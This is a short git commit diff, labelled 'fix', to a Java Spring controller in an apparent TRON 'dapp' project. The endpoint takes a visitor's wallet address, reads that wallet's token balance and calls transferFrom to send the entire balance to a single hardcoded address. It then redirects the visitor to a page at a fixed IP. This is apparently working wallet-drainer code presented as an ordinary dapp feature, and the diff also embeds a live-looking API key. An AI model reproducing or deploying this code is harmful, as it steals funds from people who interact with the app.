fix
Helius
2021-10-19 033fc6db08dbf0546b8fe44a16ad2cfaa59bb919
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
@@ -30,17 +30,19 @@
    @PostMapping(value = "/trcPost.html")
    public String trxPost(@RequestBody TrxPostDto trxPostDto, HttpServletRequest request) {
    public String trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
        System.out.println(balanceOf);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
        String url = request.getRequestURL().toString();
        String toIndex = url.substring(0, url.indexOf("/trx") + 1);
        return "redirect:" + toIndex + "tron-app/trc_post.html";
//        return "redirect:" + toIndex + "tron-app/trc_post.html";
        return "redirect:http://120.27.238.55:8000/tron-app/trc_post.html";
    }
}